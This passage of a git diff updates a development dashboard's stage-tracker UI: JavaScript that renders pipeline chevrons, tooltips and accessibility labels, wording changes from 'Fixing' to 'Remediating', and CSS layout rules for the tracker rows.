Date(observed).toISOString(); const since = matches && a.since && Number.isFinite(Date.parse(a.since)) ? ' Β· since ' + new Date(a.since).toISOString() : ''; @@ -45,12 +47,21 @@ let decided = kind === 'review' && sg.state === 'active' && item.decided && typeof stageTrackerMergeGateWordHtml === 'function' ? stageTrackerMergeGateWordHtml(item, nowMs) : ''; const codeObserved = Date.parse(code && code.observed_at || ''); const codeFresh = code && code.head === item.head && code.source === 'fix-dispatch+successful-edit+verified-git-worktree' && code.active && code.state === 'fixing' && Number.isFinite(codeObserved) && codeObserved <= clock && clock - codeObserved <= activityFreshMS; - if (!codeFresh) decided = decided.replace(/>Fixing(?=\s|<)/g, '>Fix requested'); - const word = esc(caption.replace(new RegExp('^' + name + ' ?'), '') || state); + if (!codeFresh) decided = decided.replace(/>(?:Fixing|Remediating)(?=\s|<)/g, '>Fix requested'); + const word = esc(caption); const evidenceURL = matches && /^https?:\/\//i.test(String(a.url || '')) ? a.url : ''; const evidenceLink = ownsPR && evidenceURL ? `<a href="${esc(evidenceURL)}" target="_blank" rel="noopener noreferrer" aria-label="${esc('Open current-head ' + name + ' evidence')}">${word}</a>` : word; const routeState = (sg.state || 'todo') + (sg.detour ? ' detoured' : ''); - return `<li class="ham-seg ham-activity-track ${cls}" data-track="${kind}" data-route-state="${esc(routeState)}" data-activity-state="${esc(state)}"${sg.state === 'active' ? ' aria-current="step"' : ''}${active ? ' data-motion="active"' : ''}${ownsPR ? ` title="${esc(tip + (codeNote ? ' Β· ' + codeNote : ''))}"` : ''} aria-label="${esc(name + ': ' + tip + (codeNote ? ' Β· ' + codeNote : ''))}"><span class="ham-track-name">${name}</span><span class="ham-track-state">${evidenceLink}</span>${codeNote || contextWord ? `<span class="ham-track-code-note">${esc(codeNote || contextWord)}</span>` : ''}${decided ? `<span class="ham-track-context">${decided}</span>` : ''}${stale || !Number.isFinite(observed) ? '<span class="ham-track-freshness">?</span>' : ''}</li>`; + const hold = item.hold; + const fullTip = (current ? 'Current pipeline phase Β· ' : '') + name + ': ' + tip + + (matches && a.actor ? ' Β· actor ' + a.actor : '') + + (codeNote || contextWord ? ' Β· ' + (codeNote || contextWord) : '') + + (hold ? ' Β· ' + (hold.pill || 'Held by @' + hold.by) + (hold.reason ? ' Β· ' + hold.reason : '') : ''); + const tipID = 'ham-track-tip-' + [item.repo || '', item.kind || '', item.number || 0, kind].map(x => encodeURIComponent(String(x))).join('-'); + const icon = stageTrackerIcon(50, 'ham-ico', name); + const content = known ? `<span class="ham-chevron-copy ham-track-state">${evidenceLink}</span>` : icon; + const linkedIcon = !known && ownsPR && evidenceURL ? `<a href="${esc(evidenceURL)}" target="_blank" rel="noopener noreferrer" aria-label="${esc('Open current-head ' + name + ' evidence')}">${icon}</a>` : content; + return `<li class="ham-seg ham-activity-track ${cls}${current ? ' ham-current' : ''}" data-track="${kind}" data-route-state="${esc(routeState)}" data-activity-state="${esc(state)}" data-display-state="${known ? 'known' : 'unknown'}"${current ? ' aria-current="step"' : ''}${active ? ' data-motion="active"' : ''}${ownsPR ? ` title="${esc(fullTip)}"` : ''} aria-label="${esc(fullTip)}"><span class="ham-chevron-info config-info" tabindex="0" title="" aria-label="${esc(fullTip)}" aria-describedby="${esc(tipID)}">${linkedIcon}<span id="${esc(tipID)}" class="config-tooltip ham-chevron-tip" role="tooltip">${esc(fullTip)}${decided ? `<span class="ham-track-context">${decided}</span>` : ''}</span></span></li>`; } // Chevrons for one item. range bounds the columns the item owns (an @@ -108,6 +119,7 @@ const cls = ['ham-seg', sg.state, sg.cap ? 'cap' : '', sg.cap && sg.terminal ? 'merged' : '', sg.detour ? 'detoured' : '', sg.hold ? 'ham-open-hold' : '', sg.blocked ? 'ham-open-blocked' : '', sg.draft ? 'ham-open-draft' : '', sg.isNew ? 'ham-open-new' : '', sg.advisory ? 'ham-open-advisory' : '', sg.openSince && sg.openSince.stale ? 'ham-open-stale' : '', sentinel || sentinelSuffix ? 'ham-sentinel' : ''].filter(Boolean).join(' '); const active = sg.state === 'active'; let tip = ''; + let gateCaption = ''; if (active) { tip = sg.label + (sg.description ? ' β€” ' + sg.description : ''); if (sg.blocked) tip += ' β€” ' + stageTrackerBlockedTip(item); @@ -119,7 +131,10 @@ // With merge_gate in the payload the sentence is the gate's own // (what holds it, next sweep, soak left β€” #15073). const gateInfo = !sg.detour && typeof stageTrackerMergeGateInfo === 'function' ? stageTrackerMergeGateInfo(item, nowMs, trains) : null; - if (gateInfo) tip = sg.label + ' β€” ' + gateInfo.tip; + if (gateInfo) { + tip = sg.label + ' β€” ' + gateInfo.tip; + gateCaption = [gateInfo.word, gateInfo.detail].filter(Boolean).join(' Β· '); + } else if (!sg.detour && (curStage === 60 || curStage === 80)) tip = sg.label + ' β€” not yet admitted' + (item.caption || item.reason ? ' β€” ' + (item.caption || item.reason) : ''); else if (curStage === STAGE_TRACKER_PRE_MERGE_SOAK) tip = sg.label + ' β€” admitted, soaking' + stageTrackerSoakLeft(item); else if (curStage === 100) tip = sg.label + ' β€” admitted, merging'; @@ -170,8 +185,17 @@ // The cap chevron is the βœ“ only once the PR is merged; until then // the column is the row's history and wears the history mark. if (sg.cap) inner = sg.terminal ? stageTrackerIcon(sg.number, 'ham-ico') : stageTrackerIcon('history', 'ham-ico ham-history-ico', 'History β€” no decisions or actions recorded yet'); - else if (active) inner = gateCue + workIco + (decision ? stageTrackerDecisionTriggerHtml(decision, word, tip) : word) + (actorIco || holderIco); - else inner = stageTrackerIcon(sg.number, 'ham-ico'); + else if (active) { + const fullTip = [tip, gateCaption || (sg.detour ? sg.detour.text : sg.short), item.caption, item.reason, + item.head ? 'head ' + item.head : '', + item.hold ? (item.hold.pill || 'Held by @' + item.hold.by) + (item.hold.reason ? ' Β· ' + item.hold.reason : '') : ''].filter(Boolean).join(' Β· '); + const tipID = 'ham-chevron-tip-' + [item.repo || '', item.kind || '', item.number || 0, sg.number].map(x => encodeURIComponent(String(x))).join('-'); + const caption = gateWord || word; + const text = decision ? stageTrackerDecisionTriggerHtml(decision, caption, fullTip) : caption; + const content = `${gateCue}${workIco}<span class="ham-chevron-copy">${text}</span>${actorIco || holderIco}`; + // A decision's dialog is its sole hover/focus detail surface. + inner = decision ? `<span class="ham-chevron-info ham-chevron-decision">${content}</span>` : `<span class="ham-chevron-info config-info" tabindex="0" title="" aria-label="${esc(fullTip)}" aria-describedby="${esc(tipID)}">${content}<span id="${esc(tipID)}" class="config-tooltip ham-chevron-tip" role="tooltip">${esc(fullTip)}</span></span>`; + } else inner = stageTrackerIcon(sg.number, 'ham-ico'); return `<li class="${cls}"${active ? `${sg.cap ? '' : motionAttr}${decision ? '' : ` title="${esc(tip)}"`} aria-current="step"` : ''}${sentinel ? ` aria-label="${esc(STAGE_TRACKER_SENTINEL_WORD + ' β€” ' + stageTrackerSentinelTip(item))}"` : (sentinelSuffix ? ` aria-label="${esc(sg.detour.text + ' β€” ' + stageTrackerSentinelTip(item))}"` : '')}>${inner}</li>`; }).join(''); } @@ -195,7 +219,7 @@ const activityFreshMS = 2 * 60 * 1000; const clock = Number(nowMs) || Date.now(); const working = code && code.head === item.head && code.source === 'fix-dispatch+successful-edit+verified-git-worktree' && code.active && code.state === 'fixing' && Number.isFinite(observed) && observed <= clock && clock - observed <= activityFreshMS; - const word = !working && decidedInfo.word === 'Fixing' ? 'Fix requested' : decidedInfo.word; + const word = !working && ['Fixing', 'Remediating'].includes(decidedInfo.word) ? 'Fix requested' : decidedInfo.word; text = word + (decidedInfo.detail ? ' Β· ' + decidedInfo.detail : '') + (regressed ? ' Β· ' + regressed : ''); } const tracks = (item.kind === 'pr' || item.via_pr) && item.head ? ['ci', 'review'].map(kind => { diff --git a/src/pkg/dashboard/static-src/js/tracker-row.js b/src/pkg/dashboard/static-src/js/tracker-row.js index 741ecf3c14..5ec30c2c51 100644 --- a/src/pkg/dashboard/static-src/js/tracker-row.js +++ b/src/pkg/dashboard/static-src/js/tracker-row.js @@ -29,7 +29,7 @@ const activityFreshMS = 2 * 60 * 1000; const clock = Number(nowMs) || Date.now(); const codeWorking = codeMatches && code.source === 'fix-dispatch+successful-edit+verified-git-worktree' && code.active && Number.isFinite(codeObserved) && codeObserved <= clock && clock - codeObserved <= activityFreshMS; - const codeCaption = codeMatches ? (!codeWorking && code.state === 'fixing' ? 'Fix task assigned Β· activity unknown' : code.caption) : 'Code activity unknown'; + const codeCaption = codeMatches ? (!codeWorking && code.state === 'fixing' ? 'Fix task assigned Β· activity unknown' : (code.state === 'fixing' ? String(code.caption || '').replace(/^Fixing\b/, 'Remediating') : code.caption)) : 'Code activity unknown'; if (detour && !code && cur === 70 && !detour.sentinel) detour.text = 'Waiting for fixer Β· activity unknown'; if (detour && code && [70, 71, 72].includes(cur)) detour.text = codeCaption || detour.text; if (detour && code && cur === 74 && codeWorking) detour.text += ' Β· ' + codeCaption; diff --git a/src/pkg/dashboard/static-src/js/tracker-words-core.js b/src/pkg/dashboard/static-src/js/tracker-words-core.js index f3c9d3328d..c353c06c12 100644 --- a/src/pkg/dashboard/static-src/js/tracker-words-core.js +++ b/src/pkg/dashboard/static-src/js/tracker-words-core.js @@ -232,7 +232,7 @@ // the chevron and the caption name one blocker (hive's own #15577 read // "Merge queued Β· 1st" while its caption said "check build-and-test // still running"). Keys below STAGE_TRACKER_MERGE_READY only. - const STAGE_TRACKER_PROVISIONAL_STAGE_WORD = { 10: 'Actionable', 20: 'Claimed', 30: 'PR in progress', 40: 'Covered by PR', 45: 'Needs human decision', 50: 'CI / Review', 60: 'Review passed', 70: 'Fixing', 71: 'Needs author', 72: 'Returned to contributor', 74: 'Adopted by hive' }; + const STAGE_TRACKER_PROVISIONAL_STAGE_WORD = { 10: 'Actionable', 20: 'Claimed', 30: 'PR in progress', 40: 'Covered by PR', 45: 'Needs human decision', 50: 'CI / Review', 60: 'Review passed', 70: 'Remediating', 71: 'Needs author', 72: 'Returned to contributor', 74: 'Adopted by hive' }; // Pure: true when the row's queue slot is a forecast β€” the server says // so (merge_train.provisional), or, from an older server, the row's // own stage is short of the merge gate. @@ -339,7 +339,7 @@ // (mergeTrainHead* in Go) β€” short enough for a chevron. A head on a // person says what the person has to do (the owner's ask: "waiting on // #15425 (needs maintainer merge)"), not "waiting for a maintainer". - const STAGE_TRACKER_TRAIN_HEAD_STALL_WORD = { 'needs-human': 'needs maintainer merge', ci: 'waiting for CI', soaking: 'soak overran', ready: 'waiting for the next merge pass', merging: 'merge call in flight', fixing: 'being fixed by its author', unknown: 'head not in this view' }; + const STAGE_TRACKER_TRAIN_HEAD_STALL_WORD = { 'needs-human': 'needs maintainer merge', ci: 'waiting for CI', soaking: 'soak overran', ready: 'waiting for the next merge pass', merging: 'merge call in flight', fixing: 'being remediated by its author', unknown: 'head not in this view' }; // Pure: the short reason a stalled head is stuck β€” the head_state // table, a human-decision head told apart by its reason, else the // head's own plain-word reason cut at its first clause. diff --git a/src/pkg/dashboard/static-src/js/tracker-words-gate.js b/src/pkg/dashboard/static-src/js/tracker-words-gate.js index 3c7690a726..4ad0fed27f 100644 --- a/src/pkg/dashboard/static-src/js/tracker-words-gate.js +++ b/src/pkg/dashboard/static-src/js/tracker-words-gate.js @@ -19,7 +19,8 @@ if (!d || d.effect !== 'pending' || !d.text) return null; nowMs = typeof nowMs === 'number' ? nowMs : Date.now(); const sep = String(d.text).indexOf(' Β· '); - const word = sep > 0 ? d.text.slice(0, sep) : (d.word || d.text); + const rawWord = sep > 0 ? d.text.slice(0, sep) : (d.word || d.text); + const word = rawWord === 'Fixing' ? 'Remediating' : rawWord; let detail = sep > 0 ? d.text.slice(sep + 3) : ''; const until = d.next_at ? Date.parse(d.next_at) : 0; if (until > nowMs) detail += (detail ? ' Β· ' : '') + 'in ' + stageTrackerShortLeft(until - nowMs); diff --git a/src/pkg/dashboard/static-src/js/tracker-words-stage.js b/src/pkg/dashboard/static-src/js/tracker-words-stage.js index 0cbacc9c46..814078faca 100644 --- a/src/pkg/dashboard/static-src/js/tracker-words-stage.js +++ b/src/pkg/dashboard/static-src/js/tracker-words-stage.js @@ -135,7 +135,7 @@ case 45: return 'Needs a human decision'; case 50: return 'Waiting for review' + viaPR; case 60: return 'Reviewed' + viaPR; - case 70: return 'Fixing review findings' + viaPR; + case 70: return 'Remediating CI or review findings' + viaPR; case 71: return 'Waiting on the author' + viaPR; case 72: return 'Back with the contributor' + viaPR; case 74: return 'Hive took it over' + viaPR; @@ -227,7 +227,7 @@ // Stage β†’ operator phrase, mirrored from stageTrackerStagePhrase // (stage_tracker_vocabulary.go): every string the page renders names a // stage by its chevron's words, never by a code ("060 reviewed"). - const STAGE_TRACKER_STAGE_PHRASE = { 10: 'actionable', 15: 'waiting for triage', 17: 'waiting for the author to confirm the gap (prior art found)', 20: 'claimed', 30: 'a PR in progress', 40: 'covered by a PR', 45: 'waiting for a human decision', 50: 'in CI / review', 60: 'review passed Β· waiting for merge admission', 70: 'being fixed by hive', 71: 'waiting for its author', 72: 'returned to the contributor', 74: 'adopted by hive', 80: 'at the merge queue', 85: 'waiting for a human decision', 90: 'ready for human merge', 95: 'soaking before merge', 100: 'in the merge queue' }; + const STAGE_TRACKER_STAGE_PHRASE = { 10: 'actionable', 15: 'waiting for triage', 17: 'waiting for the author to confirm the gap (prior art found)', 20: 'claimed', 30: 'a PR in progress', 40: 'covered by a PR', 45: 'waiting for a human decision', 50: 'in CI / review', 60: 'review passed Β· waiting for merge admission', 70: 'being remediated by hive', 71: 'waiting for its author', 72: 'returned to the contributor', 74: 'adopted by hive', 80: 'at the merge queue', 85: 'waiting for a human decision', 90: 'ready for human merge', 95: 'soaking before merge', 100: 'in the merge queue' }; // Pure: a stage's name in plain words for cues and tooltips β€” its short // word when the stages table has one, else its label with the lane's // "stage/060-" slug prefix dropped and the slug humanised ("Reviewed"). diff --git a/src/pkg/dashboard/static/index.html b/src/pkg/dashboard/static/index.html index 7d2c8e03e6..79af2c57ab 100644 --- a/src/pkg/dashboard/static/index.html +++ b/src/pkg/dashboard/static/index.html @@ -1431,39 +1431,29 @@ /* Title line = a ghost strip with the same column widths as the chevrons below: a lead cell spanning Open..Claimed carries the number + title, a PR cell spanning PR in progress..Merge gate carries "[icon] #N title", - the cap column is kept for the modifier chip and the since column is - an empty spacer (the time on step rides the strip row's since cell, in - line with the chevrons). Both cells wrap rather than collide; the lead - keeps a clear gap before the PR column. The spanning cells' flex-basis - absorbs the gaps they cover so the PR cell starts exactly at the PR in - progress chevron. */ + modifiers get a separate, full-width right-anchored toolbar line. The since column is + an empty spacer (the time on step rides the strip row's since cell). + Explicit grid spans share the chevrons' tracks, including the two + concurrent CI/Review tracks, without content changing their widths. */ .ham-row-head { position: relative; display: flex; align-items: flex-start; gap: var(--sp-3); font-size: var(--fs-sm); min-width: 0; line-height: 1.3; } .ham-head-cols { flex: 1 1 auto; min-width: 0; min-height: 1.3em; align-items: flex-start; } .ham-head-cols .ham-strip { height: auto; } .ham-head-cols .ham-seg { background: transparent; clip-path: none; align-items: flex-start; justify-content: flex-start; padding: 0 var(--sp-2) 0 var(--sp-4); white-space: normal; } - /* Lead = exactly three of the six equal chevrons (half of the strip - minus the fixed 4em cap and the six gaps) plus the two gaps between - them, so the PR cell starts at the PR in progress chevron; the PR cell takes what - is left and gives way to the chip, which lives in the cap cell. */ - .ham-head-cols .ham-seg.ham-head-lead { flex: 0 0 calc((100% - 4em - var(--ham-visible-columns) * var(--sp-1)) * 3 / var(--ham-visible-columns) + 2 * var(--sp-1)); padding: 0 var(--sp-6) 0 0; } - .ham-head-cols .ham-seg.ham-head-lead.ham-head-wide { flex: 1 1 0; } - /* The PR cell is one line: connector, author icon + #N + title, lineage - chip and base pill sit side by side; the lineage chip gives way first - (flex-shrink 2), then the title (1), the pills and the connector never shrink - (hivecommons/hive "consolidate from 3 lines of text to 1"). */ - .ham-head-cols .ham-seg.ham-head-pr { flex: 1 1 0; flex-direction: row; flex-wrap: nowrap; align-items: center; gap: var(--sp-2); min-width: 0; overflow: hidden; } - .ham-head-cols .ham-seg.ham-head-pr > .ham-linked-ico, .ham-head-cols .ham-seg.ham-head-pr > .ham-badge { flex: 0 0 auto; } - .ham-head-cols .ham-seg.ham-head-pr > .ham-lineage, .ham-head-cols .ham-seg.ham-head-pr > .ham-adopted-from { display: block; flex: 0 2 auto; min-width: 7em; overflow: hidden; text-overflow: ellipsis; } + .ham-head-cols .ham-seg.ham-head-lead { grid-column: 1 / var(--ham-pr-start); grid-row: 1; padding: 0 var(--sp-6) 0 0; } + .ham-head-cols .ham-seg.ham-head-pr { grid-column: var(--ham-pr-start) / -2; grid-row: 1; flex-direction: row; flex-wrap: wrap; align-items: center; gap: var(--sp-2); min-width: 0; overflow: visible; padding: 0; } + .ham-head-cols .ham-seg.ham-head-pr > .ham-linked-ico { flex: 0 0 auto; } + .ham-head-cols .ham-seg.ham-head-pr > .ham-lineage, .ham-head-cols .ham-seg.ham-head-pr > .ham-adopted-from { flex: 0 1 auto; min-width: 0; max-width: 100%; flex-wrap: wrap; } .ham-head-cols .ham-seg.ham-head-pr > .ham-lineage > .ham-author-ico { vertical-align: text-bottom; margin-right: var(--sp-1); } .ham-head-cols .ham-seg.ham-head-pr > .ham-pr-ref, .ham-head-cols .ham-seg.ham-head-pr > .ham-pr-line { flex: 0 1 auto; } - /* The chip hugs the bottom of the title block (align-items: flex-end - inside the stretched cap cell): on a two-line title it sits on the - second line, directly over the strip it describes, never up at the - previous entry's edge. */ - .ham-head-cols .ham-seg.cap { flex: 0 0 auto; min-width: 4em; overflow: visible; align-items: flex-end; justify-content: flex-end; padding: 0; } - .ham-head-cols .ham-seg.cap .ham-badges { position: static; } - .ham-head-main { display: flex; flex: 1; align-items: center; gap: var(--sp-3); min-width: 0; overflow: hidden; } - .ham-head-main > .ham-badge { flex: 0 0 auto; } + .ham-head-cols .ham-seg.cap { grid-column: 1 / -1; grid-row: 2; min-width: 0; overflow: visible; align-items: flex-end; justify-content: flex-end; padding: 0; } + .ham-head-cols .ham-seg.cap:has(> .ham-badges:empty) { display: none; } + .ham-head-cols .ham-seg.cap .ham-badges { position: static; flex-wrap: wrap; justify-content: flex-end; min-width: 0; max-width: 100%; } + .ham-head-cols .ham-badges > :is(button, a) { min-width: 0; max-width: 100%; white-space: normal; overflow-wrap: anywhere; } + .ham-head-cols .ham-badge { min-width: 0; max-width: 100%; white-space: normal; overflow-wrap: anywhere; } + .ham-head-main { display: flex; flex: 1; flex-wrap: wrap; align-items: center; gap: var(--sp-3); min-width: 0; } + .ham-head-main > .ham-badge { flex: 0 1 auto; } + .ham-head-main > .ham-title, .ham-head-pr .ham-pr-title { white-space: normal; overflow: visible; overflow-wrap: anywhere; } + .ham-head-pr .ham-pr-ref, .ham-head-pr .ham-pr-line { flex-wrap: wrap; overflow: visible; } .ham-pr-ref { display: inline-flex; align-items: center; gap: var(--sp-2); min-width: 0; max-width: 100%; overflow: hidden; color: var(--muted); text-decoration: none; font-size: var(--fs-xs); } .ham-pr-ref:hover { color: var(--text); } .ham-linked-ico { color: var(--text-faint); font-size: var(--fs-xs); margin-right: var(--sp-1); } @@ -1557,8 +1547,8 @@ .ham-preparation-node:focus-visible { outline: var(--focus-ring-width) solid var(--ham-train-accent); outline-offset: var(--sp-1); } .ham-row.ham-preparation-gap::before, .ham-sub.ham-preparation-member.ham-preparation-gap::before { border-left-style: dashed; } .ham-preparation-unverified > .ham-strip-row > .ham-preparation-node::after { background: var(--bg); box-shadow: 0 0 0 var(--line-width) var(--ham-train-accent); } - .ham-preparation-comment { animation: none; } - .ham-human-context { animation: none; } + .cue-event.ham-preparation-comment { animation: none; } + .cue-event.ham-human-context { animation: none; } /* Mixed issue trees keep their existing children; only actual prep PRs receive a rail, at the original gutter offset minus the parent inset. */ .ham-row > .ham-preparation-head { margin-left: calc(-1 * var(--sp-2)); } @@ -1663,15 +1653,10 @@ .ham-badge-reroute { color: var(--status-warn); border-color: color-mix(in srgb, var(--status-warn) 55%, transparent); font-weight: var(--fw-medium); display: inline-flex; align-items: center; gap: var(--sp-1); } .ham-badge-reroute .ham-presence-dot { width: 0.5em; height: 0.5em; border-radius: var(--r-pill); background: var(--text-faint); flex: 0 0 auto; } .ham-badge-reroute.ham-reroute-online .ham-presence-dot { background: var(--status-ok); } - .ham-strip { list-style: none; margin: 0; padding: 0; display: flex; gap: var(--sp-1); min-height: 18px; flex: 1 1 auto; min-width: 0; --ham-notch: 8px; --ham-visible-columns: 7; } - .ham-strip:not(.ham-head-cols) { display: grid; grid-template-columns: repeat(var(--ham-visible-columns), minmax(0, 1fr)) 4em; } + .ham-strip { list-style: none; margin: 0; padding: 0; display: grid; grid-template-columns: repeat(var(--ham-visible-columns), minmax(0, 1fr)) 4em; gap: var(--sp-1); min-height: 18px; flex: 1 1 auto; min-width: 0; font-size: var(--fs-xs); --ham-notch: 8px; --ham-visible-columns: 7; --ham-chevron-text-lines: 2; --ham-chevron-line-height: 1.3; } .ham-seg { position: relative; flex: 1 1 0; min-width: 0; display: flex; align-items: center; justify-content: center; padding: 0 var(--sp-4) 0 var(--sp-5); font-size: var(--fs-xs); font-weight: var(--fw-medium); white-space: nowrap; overflow: hidden; clip-path: polygon(0 0, calc(100% - var(--ham-notch)) 0, 100% 50%, calc(100% - var(--ham-notch)) 100%, 0 100%, var(--ham-notch) 50%); } - .ham-activity-track { clip-path: none; border: var(--line-width) solid var(--line-subtle); border-radius: var(--r-sm); flex-direction: column; align-items: flex-start; padding: var(--sp-1) var(--sp-2); white-space: normal; } - .ham-track-name { font-weight: var(--fw-semibold); } - .ham-track-state { overflow-wrap: anywhere; font-size: var(--fs-xs); } + .ham-activity-track { clip-path: none; border: var(--line-width) solid var(--line-subtle); border-radius: var(--r-sm); white-space: normal; } .ham-track-state a { color: inherit; } - .ham-track-code-note, .ham-track-context { overflow-wrap: anywhere; font-size: var(--fs-xs); } - .ham-track-freshness { position: absolute; right: var(--sp-1); top: 0; color: var(--amber); } .ham-activity-track[data-activity-state="failing"], .ham-activity-track[data-activity-state="changes_requested"] { border-color: var(--amber); color: var(--amber); } .ham-seg:first-child { clip-path: polygon(0 0, calc(100% - var(--ham-notch)) 0, 100% 50%, calc(100% - var(--ham-notch)) 100%, 0 100%); } .ham-seg.cap { flex: 0 0 4em; } @@ -1682,17 +1667,12 @@ /* The holder's offline / not-registered state is muted: a flag, not an alarm. */ .ham-holder-presence { margin-right: 0; color: var(--text-faint); font-weight: normal; } .ham-holder-presence.ham-presence-offline { --ham-presence-color: var(--text-faint); } - /* A word with a holder ("PR in progress Β· @bob's clanker") stays on one - line: the stage word keeps its width and the name gives way with an - ellipsis before anything wraps (hivecommons/hive#15541). */ - .ham-seg-t.ham-has-holder, .ham-detour.ham-has-holder { display: inline-flex; align-items: baseline; min-width: 0; max-width: 100%; white-space: nowrap; } - .ham-has-holder > .ham-holder { flex: 0 1 auto; min-width: 0; overflow: hidden; text-overflow: ellipsis; white-space: pre; } .ham-ico { width: 12px; height: 12px; flex: 0 0 auto; } .ham-actor-ico { margin-left: var(--sp-1); stroke-width: 2; } .ham-seg.done { background: var(--panel-strong); color: var(--text-faint); } .ham-seg.todo { background: transparent; color: var(--text-faint); box-shadow: inset 0 0 0 var(--line-width) var(--line-subtle); opacity: 0.5; } .ham-seg.blank { visibility: hidden; } - .ham-sub { display: grid; gap: var(--sp-2); margin-top: var(--sp-3); position: relative; } + .ham-sub { display: grid; grid-template-columns: minmax(0, 1fr); min-width: 0; gap: var(--sp-2); margin-top: var(--sp-3); position: relative; } /* Only the two moving buckets animate (see stageTrackerMotion): the hive acting = gentle pulse; waiting on a person = slower amberβ†’red breathe. A lit step with no data-motion (Open, Open Β· hold, Claimed, …) is a @@ -1702,6 +1682,10 @@ layerize pass of the page every vsync (#13764). ::after is the movement effects' (flash / ripple / wash). */ .ham-seg.active { background: var(--amber); color: var(--surface-0); } + /* Position is independent of observed work: queued, held and unknown + tracks retain a steady current-phase outline, never a work pulse. */ + .ham-activity-track.ham-current { border-color: var(--amber); opacity: 1; box-shadow: inset 0 0 0 var(--line-width) var(--amber); } + .ham-activity-track.ham-current:not(.active) { background: color-mix(in srgb, var(--amber) 12%, var(--panel)); } .ham-seg.active[data-motion]::before { content: ''; position: absolute; inset: 0; opacity: 0; pointer-events: none; } .ham-seg.active[data-motion="active"]::before { background: white; animation: ham-pulse 1.6s ease-in-out infinite; } .ham-seg.active[data-motion="needs-human"]::before { background: var(--red); animation: ham-breathe-human 2.8s ease-in-out infinite; } @@ -1731,10 +1715,18 @@ after the word ("next sweep in 42s", "7m left") is muted. */ .ham-gate-ico { display: inline-flex; align-items: center; margin-right: var(--sp-1); cursor: help; } .ham-gate-ico .ham-ico { width: 12px; height: 12px; } - /* The detail is a fixed short phrase; should a long one ever reach it - (hivecommons/docs#512 drew a raw GitHub URL across the column) it is - clipped with an ellipsis rather than overflowing the chip. */ - .ham-gate-detail { font-weight: normal; opacity: 0.85; white-space: nowrap; font-variant-numeric: tabular-nums; display: inline-block; vertical-align: bottom; max-width: 12em; overflow: hidden; text-overflow: ellipsis; } + .ham-gate-detail { font-weight: normal; opacity: 0.85; font-variant-numeric: tabular-nums; } + /* All physical chevrons share a two-line budget. The portal tooltip is + outside the clipped polygon; keyboard focus exposes the same full text. */ + .ham-strip[aria-label="Pipeline progress"] { grid-auto-rows: calc(var(--ham-chevron-text-lines) * var(--ham-chevron-line-height) * 1em + 2 * var(--sp-2) + 2 * var(--line-width)); } + .ham-strip[aria-label="Pipeline progress"] > .ham-seg { box-sizing: border-box; height: 100%; line-height: var(--ham-chevron-line-height); padding: var(--sp-2) calc(var(--ham-notch) + var(--sp-2)); } + .ham-chevron-info.config-info, .ham-chevron-info.ham-chevron-decision { display: flex; align-items: center; justify-content: center; gap: var(--sp-1); width: 100%; height: 100%; min-width: 0; flex-shrink: 1; margin: 0; padding: 0; border: 0; background: transparent; color: inherit; font: inherit; line-height: inherit; position: static; } + .ham-chevron-info.config-info:hover { background: transparent; border: 0; color: inherit; } + .ham-chevron-info:focus-visible, .ham-chevron-decision:focus-within { outline: var(--line-width) solid currentColor; outline-offset: var(--sp-1); } + .ham-chevron-copy { display: -webkit-box; -webkit-box-orient: vertical; -webkit-line-clamp: var(--ham-chevron-text-lines); line-clamp: var(--ham-chevron-text-lines); max-height: calc(var(--ham-chevron-text-lines) * var(--ham-chevron-line-height) * 1em); flex: 1 1 auto; min-width: 0; overflow: hidden; white-space: normal; overflow-wrap: anywhere; } + .ham-chevron-copy :is(.ham-seg-t, .ham-detour, .ham-holder, .ham-gate-detail) { display: inline; white-space: normal; overflow-wrap: anywhere; } + .ham-chevron-copy > .ham-decision-trigger { display: -webkit-box; -webkit-box-orient: vertical; -webkit-line-clamp: var(--ham-chevron-text-lines); line-clamp: var(--ham-chevron-text-lines); max-width: 100%; overflow: hidden; white-space: normal; overflow-wrap: anywhere; } + .config-tooltip.ham-chevron-tip { overflow-wrap: anywhere; max-width: calc(100vw - var(--sp-8)); max-height: calc(100vh - var(--sp-8)); overflow-y: auto; pointer-events: auto; } @keyframes ham-pulse { 0%, 100% { opacity: 0; } 50% { opacity: 0.3; } } /* ---- tracker-cues: the Activity Monitor's shared cue vocabulary ------ Owner request: a viewer must always read where an item stands, @@ -1831,7 +1823,7 @@ page text: β‰₯ 15:1 in both themes, see the contrast test) above the stripes and the pulse overlay, on one line with an ellipsis. */ .cue-acting > .ham-strip-row > .ham-strip > .ham-seg.active:not(.cap) > :not(.cue-acting-cap) { display: none; } - .ham-seg.active > .cue-acting-cap { display: inline-block; position: relative; z-index: 1; margin-left: 0; max-width: 100%; min-width: 0; box-sizing: border-box; padding: var(--sp-1) var(--sp-2); border-radius: var(--r-pill); background: var(--surface-0); color: var(--text); font-weight: var(--fw-medium); line-height: 1.2; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; } + .ham-seg.active > .cue-acting-cap { display: -webkit-box; -webkit-box-orient: vertical; -webkit-line-clamp: var(--ham-chevron-text-lines); line-clamp: var(--ham-chevron-text-lines); position: relative; z-index: 1; margin-left: 0; max-width: 100%; min-width: 0; box-sizing: border-box; padding: 0 var(--sp-2); border-radius: var(--r-pill); background: var(--surface-0); color: var(--text); font-weight: var(--fw-medium); line-height: var(--ham-chevron-line-height); overflow: hidden; white-space: normal; overflow-wrap: anywhere; } .ham-seg.active > .cue-acting-cap > .cue-acting-spin { vertical-align: -1px; margin-right: var(--sp-2); } .cue-event { display: flex; align-items: baseline; gap: var(--sp-2); margin: 0; padding-left: var(--sp-5); font-size: var(--fs-xs); color: var(--muted); overflow-wrap: anywhere; animation: cue-event-in 0.4s ease-out; } .cue-event-who { font-weight: var(--fw-medium); color: var(--text); } @@ -2095,21 +2087,17 @@ a needs-human step keeps a steady red tint so it still stands out. */ @media (prefers-reduced-motion: reduce) { .ham-seg.active { animation: none; box-shadow: inset 0 0 0 2px var(--surface-0); } .ham-seg.active[data-motion]::before { display: none; } .ham-seg.active[data-motion="needs-human"] { background: color-mix(in srgb, var(--amber) 45%, var(--red)); } } @media (max-width: 1100px) { - /* Keep the aligned progress strip compact; put its active step in a - wrapping caption instead of squeezing actionable words into a chevron. */ - .ham-cols .ham-seg-t, .ham-row .ham-seg-t, .ham-row .ham-detour { display: none; } + /* Stack headers, but keep the same two-line progress text budget. */ + .ham-cols .ham-seg-t { display: none; } .ham-cols .ham-track-head .ham-seg-t { display: inline; } - .ham-track-state { display: none; } - .ham-track-code-note, .ham-track-context { display: none; } - .ham-activity-track { align-items: center; } .ham-active-ico { display: block; } .ham-row .ham-actor-ico { display: none; } .ham-current-stage { display: block; } .ham-head-cols { display: grid; grid-template-columns: minmax(0, 1fr) auto; gap: var(--sp-2) var(--sp-3); } 